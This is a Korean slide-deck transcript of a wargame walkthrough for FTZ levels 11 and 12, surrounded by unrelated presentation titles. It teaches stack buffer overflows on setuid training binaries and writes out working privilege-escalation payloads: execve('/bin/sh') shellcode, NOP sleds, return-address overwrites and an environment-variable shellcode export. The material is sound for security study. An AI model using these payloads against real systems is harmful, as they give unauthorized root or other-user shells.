FTZ 과제풀이 Level 11,12 HyunJae Lee 11. 05. 2018.

Slides:



Advertisements
Similar presentations
윤준혁 (12), 이주연 (13), 박혜원 (14), 안혜경 (15) 허니버터칩으로 알아본 SNS 의 영향 력.
Advertisements

지도교수 : 박진식 교수님 조 원 : 홍승기, 이병용, 백승준, 조근용, 조동현, 한정협, 이상하.
1 ‘ 우리나라의 주요공업 ’ - 정도웅, 주민혁, 안수진, 백경민, 엄다운, 박경찬 -.
- 1 - 정보 보안 개론과 실습 시스템 해킹과 보안 팀원 : 박진영 한동섭 · 권혁진.
수유부의 약물복용 시 주의점 발표자 조기성. 모유 수유의 장점 모유 수유의 장점은 ? 위장관 질환 발생감소 영아 돌연사 발생감소 아토피 질환 발생감소 정서적 안정.
똘기 : 채 익지 않은 과일. 똘기 소개 일명 발표동아리. 똘기는 발표에 대한 두려움을 가지고 있는 학우들에게 ‘ 자신감 ’ 을 키워줄 수 있도록 하자는 취지에서 만들어졌다. 평소 강의 시간보다 편안하고 자유롭게 발표해 볼 수 있는 기회를 제공함으로써 발표력 향상에 기여하는.
일 시 : (목) 장 소 : 문산종합사회복지관장) 파주시문산종합사회복지관 기관안내.
2013년도 2학기 학습튜터링 O.T.
미국의 미디어교육 신문방송학과 강진구 한인수 곽모란 이명현.
1. 던전 디자인 개요_1 1. ‘던전’ 룬스톤은 던전 한 층에도 여러 개가 존재하며, 각 룬스톤 마다 영향을 미치는 범위가 설정되어 있다. 룬스톤이 영향을 주는 범위에 일정시간 사용자가 위치해 있게 되면 사용자 캐릭터는 ‘유령화’ 되어 버리기 때문에, 사용자는.
PRESENTATION 저온화상이란?
예외 상황 예제 개발 1실 서버팀 우상욱 소스 첨가(…).
Basic of Buffer Over Flow
박주현 Exploit Helpers 안녕하세요 포너블을 도와주는 exploit helpers에 대해 발표하게된 박주현이라고 합니다.
Shellcode 작성 김영성.
공부할 내용 조상들이 살던 곳 자연과 잘 어울리는 한옥 지방에 따라 서로 다른 집의 모양 섬 지방의 집
사랑, 데이트와 성적 자율성 :데이트 성폭력!!! 성폭력예방교육 전문강사 / 여성학 전공 신 순 옥.
2016 ITA 1월 강의 C Programming -4일차- 포인터배열 및 이중포인터 정대진 ( )
직장인의 예절과 에티켓.
퇴계와 율곡의 사회사상 비교 남 일 재 동서대학교 교수/ 정치학 박사 1. 퇴계 이황과 율곡 이이의 약전(略傳)
제3장 사회 복지 발달사.
6 레이스 컨디션.
대포나 미사일이 없던 옛날에는 먼 거리에 있는 적의 성을 어떻게 공격했을까?
가족상담 및 치료.
501. 군인들의 세상 502. 민정 이양과 한일회담 이선용.
쌓지 말고 해소하자 이 주휘 이 진영 전 민석 전 혜림.
2015년 하반기 소방교육 자 유 전 공 학 부 (금) 안녕하십니까 자유전공학부 행정실 입니다.
쌍용차 회생계획안을 통한 투기자본(=먹튀자본) 수강과목: 회 계 학 원론 담당교수: 박 성 환 교수님
6 프로세스 생성과 실행.
버퍼 오버플로우에 대한 대책과 발전된 공격 안전한 함수 사용 버퍼 오버플로우에 취약한 함수 사용하지 않기
아동복지 제9장.
Software Exploit and Kernel Protection
서울 메트로 노조파업 수강과목 : 노사 관계론 담당교수 : 정형진 교수님
제 18 강 데이터 타입 타입, 변환, 캐스팅 shcho.pe.kr.
시스템 보안 [Buffer Overflow] DEC, 15, 2013 By 박동혁.
버퍼 오버플로우 시스템보안 류기환 권재홍.
버퍼 오버플로우 시스템보안 인터넷공학전공 권영락.
레이스 컨디션 컴퓨터공학과 4학년 이교욱.
7. 자극과 반응 7-2. 신경계 3. 여러 가지 반응.
BOF of 2.6 Kernel ! 박수완 / Su-Wan, PARK [ L1nkC] 숭실대학교 정보보호동아리 ACK
Buffer Overflow
제13장 장애인 복지.
컴퓨터 개론 및 실습 Dept. Computer Eng. Hankuk University of Foreign Studies
흡연 예방 보건교육 소중한 우리, 담배로부터 지켜요 서신초등학교.
보육교사 대상 꿈날개 매뉴얼.
글로벌한국사 2강 - 고조선과 단군할아버지- 신화 속 역사 읽기.
Ⅰ. 가족복지 개관 가족복지론 최진령.
발표자료는 다음링크에서 다운로드 받으실 수 있습니다.
패시브하우스 신안산대학교 l 건축과 l 박효동, 박창준, 지예림.
정치개혁의 가능성 논의 권력구조 개편을 통하여 본 -개헌을 통한 정부형태의 변화를 중심으로 [한국정치론] 윤성이 교수님
치료 레크레이션 프로그램 (지적 장애 대상) 과 목: 학 과: 학 번: 이 름: 제 출 일 자 담 당 교 수:
Canary value 스택 가드(Stack Guard).
HW 1: Buffer Overflow.
노년기 발달 장안대 행정법률과 세류반 정 오 손
Execution with Unnecessary Privileges
태국 문학 욜라다 왓짜니 싸란차나 팟차라와라이 끼따야펀 르앙다우 타니다.
-자료형과 연산- IS lab. 김건영 Python -자료형과 연산- IS lab. 김건영
자료구조 세미나 발표 주제: 자료구조 기초 - 1회 차: 자료구조의 정의, 기초 지식 (함수, 포인터, 레퍼런스)
직장생활 예절 ① - 인사 1.내가 먼저 [인사의 5point] 2.상대방의 눈을 보고 미소지으며 3.상대방에 맞춰서
평생 저축해도 강남 아파트 못산다 학 과 : 회계학과 1학년 B반 과 목 : 회계학원론 담당교수: 박성환 교수님
창의인성 두뇌계발 교사교육 3월 생각튼튼리더 1주. 세상에서 제일 똑똑똑한 뇌 2주. 황금요술공,검정요술공 3주. 브레이니 웨이키 웨이키 4주. 생각튼튼 리더가 되었어요.
콘텐츠 디자인 황아현.
성공적인 입사지원서 작성법 제이비커리어 교육수석 소 은 선.
경영학의 상황학파에 대해서… 경제학과 3학년 최준용 회계학과 4학년 진현빈
워밍업 실뭉치 전달게임.
HW1 채점 기준 총 15점 HW1_BOF 폴더에 제공되는 프로그램에서 BOF를 일으킬 것 (3점)
유예 X-FILE *조사자* 1301권희원 1315이예지 1317장아정 1322홍자현.
음파성명학 최종욱.
♣좋은 이미지 형성을 위한 5대 POINT ♣ 나의 이미지? 표정/시선 바른 자세 용모/복장 대화법 인사예절.
한국 휴렛팩커드/고객지원사업본부/IT 기술사업부 박기영
Presentation transcript:

FTZ 과제풀이 Level 11,12 HyunJae Lee 11. 05. 2018

FTZ - level 11 * 로그인 및 내부 파일 확인 level11 passwd: what!@#$?

FTZ - level 11 * Hint file 확인 - 256 byte 크기의 배열을 선언하고, setreuid를 통해 프로그램이 실행될시 획득하는 권한 설정 (3092 = level12) - 그후 strcpy로 main의 2번째 인자를 str 배열에 복사하고, str 출력함 strcpy 함수 사용 시 인자로 *argv[1] 를 받게될 때 bof 취약점 발생 *argv[1] 크기는 정해져 있지 않기 때문에 값을 무한정 입력 받을 수 있음

FTZ - level 11 * 디버깅을 통해 stack 구조 확인 > 그전에 먼저 tmp 폴더에 복사해야함 (권한때문에 현재 파일에서 디버깅 안됨) setuid | setgid bit가 걸려있으면 디버거는 ptrace를 사용하기때문에 내부적으로 ptrace에서 에러를 뿜기때문에

FTZ - level 11 * 디버깅을 통해 stack 구조 확인 처음 esp는 ebp로 부터 0x108, 0x8 만큼 떨어진 거리에 두 차례에 거쳐 이동한다. = str 배열의 공간이 할당됨 str의 시작 지점을 알기위해 strcpy, 와 printf 함수에 전달되는 인자들을 확인 두 함수에서 모두 [ebp-264] 지점을 참조 str 크기 256보다 더 멀리떨어진 곳에 str 시작주소가 있음 = dummy 존재 낮은주소 높은주소

FTZ - level 11 *최종 stack 구조 와 payload 구성 AAAA AAAA....... 268 byte Attack point 4 byte ret 까지 264(str[256] + dummy[8]) byte+ 4(ebp[4] = 268 byte 를 임의의 값으로 덮어쓴다 ret 주소를 공격자가 원하는 주소로 덮어준다 -payload 구성 (임의의 문자열) 268 byte + (원하는 주소) 4 byte

FTZ - level 11 ret에 내가 원하는 주소를 덮어쓰면 어디든 이동한다 > 어떤 주소를 넣어야 하는가 ? * 공격 아이디어 배경 ret에 내가 원하는 주소를 덮어쓰면 어디든 이동한다 > 어떤 주소를 넣어야 하는가 ? > 주로 쓰는 방법 : shellcode가 있는 주소 = shellcode > 프로그램을 실행 시켜주는 기계어 코드 덩어리 (shellcode라고 불리는 이유는 주로 shell을 띄워 제어하는 경우가 많기 때문) = 쉘을 띄우는 이유? 권한이 높은 프로그램에서 shellcode를 호출하여 권한 상승공격을 시도함 ( 권한이 높은 프로그램에서 exev*류 함수로 shell 프로그램을 실행 시키면, 실행중인 프로그램의 권한을 쓸 수 있음)

FTZ - level 11 * 공격아이디어 ret 주소에 shellcode 주소를 넣는건 알겠으나 어디에 shellcode를 넣는가 ? buf ebp ret argc arv[0] ........ env 1. buf 공간에 넣기 > level 11 2. 환경변수에 등록하기 > level 12 환경변수 란? 프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로 쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수들을 의미 = 사용자가 등록한 환경변수도 프로세스에 올라갈 수 있다.

FTZ - level 11 * 1. buf 공간에 shellcode 삽입 후 ret 주소에 덮어쓰는 방법 shellcode : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 -payload (임의의 문자열) 268 byte + (원하는 주소) 4 byte "\x90"(NOPcode) * 227byte + shellcode 41 byte + str의 공간의 주소

FTZ - level 11 * str의 주소를 찾는 방법? = 디버깅을 통해 찾을 수 있다. main 함수에 중단점을설정 후에 다음과 같이 디버깅시 인자를 줄 수 있다. esp 레지스터 시작으로 부터 160 바이트 씩 출력하며 4바이트 단위 16진수로 출력한다.

FTZ - level 11 * 최종 payload "\x90"(NOPcode) * 227byte + shellcode 41 byte + str의 공간의 주소(0xbffffbdc) ./attackme `python -c 'print "\x90"*227 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\xdc\xfb\xff\xbf"'`

FTZ - level 12 * level 11번과 동일하게 진행 str 배열의 크기 동일 대신 입력 받는 형식이 strcpy > gets로 변경되었음

FTZ - level 12 * 11번과 동일한 과정으로 tmp 폴더에 복사 후 디버깅 level11 과 stack 구조가 동일한 것을 알 수 있다.

FTZ - level 12 * 환경변수를 이용한 풀이 export 명령어로 현재 선언된 환경변수들의 이름과 내용을 볼 수 있다.

FTZ - level 12 * 환경변수를 이용한 풀이 - 환경변수 선언 후 확인 =쉘코드가 들어간 환경변수 선언하기 export SHELLCODE=$(python -c 'print "\x90"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') | 는 파이프를 의미한다. export의 결과를 grep 이라는 명령어의 입력값으로 주고 grep 명령어는 export의 결과 파일에서 일치하는 문자열을 찾아주는 명령어 이다.

FTZ - level 12 2. C Code 를 이용한 방법 * 환경변수를 이용한 풀이 - 환경변수의 위치찾기 1. 디버깅 환경변수 설정시 \x90(NOPcode)를 많이 삽입한 것은 level11번 문제를 푸는 것과 동일한 방법이다. 해당 방법을 통해 환경변수의 위치를 디버깅으로 쉽게 찾을수 있다. = 배운것을 복습하며 한번 해보시는 것을 권장드립니다. C언어 에는 getenv() 라는 함수가 존재하는데, 해당함수는 인자로 환경변수의 이름을 주고 환경변수가 위치하는 주소를 반환한다 > 원래는 해당하는 이름의 환경변수의 값을 가져오는 용도로 씀

FTZ - level 12 * 환경변수를 이용한 풀이 - 환경변수의 주소 찾기

FTZ - level 12 (임의의 문자열) 268 byte + (원하는 주소) 4 byte * 최종 payload (임의의 문자열) 268 byte + (원하는 주소) 4 byte (임의의 문자열) 268 byte + (SHELLCODE 환경변수의 주소) 4 byte * level 11번과 차이점 : level11은 argv[1] 인자를 strcpy로 str 배열에 복사함 level12는 gets 함수로 표준 입력값을 입력받아 str 배열에 저장함 따라서 값을 주는 방법 이 다름 (python -c 'print "a"*268 + "\x4a\xfb\xff\xbf"'; cat) | ./attackme

FTZ - level 12 * 최종 결과

참고 *소소한 팁 매번 메모장에 payload 복붙이 귀찮다. > 스크립트 작성

참고 *RTL 을 이용한 풀이 ret 주소에 shellcode가 아닌 (stack의 주소가 아닌) lib함수의 주소를 준다면?

참고 *ROP 을 이용한 풀이 ret 주소에 shellcode가 아닌 (stack의 주소가 아닌) lib함수의 주소를 준다면? > lib 함수를 못 쓴다면, 명령어 조각들의 주소를 준다면 ?

참고 * shellcode 만들기 - https://www.lazenca.net/display/TEC/01.The+basics+technic+of+Shellcode >해당 블로그에 exploit tech 문서들이 많음 * 참고한 shellcode 블로그 - http://suspected.tistory.com/81 * 환경 변수 정의 : wiki 및 구글링 참조

Thank You !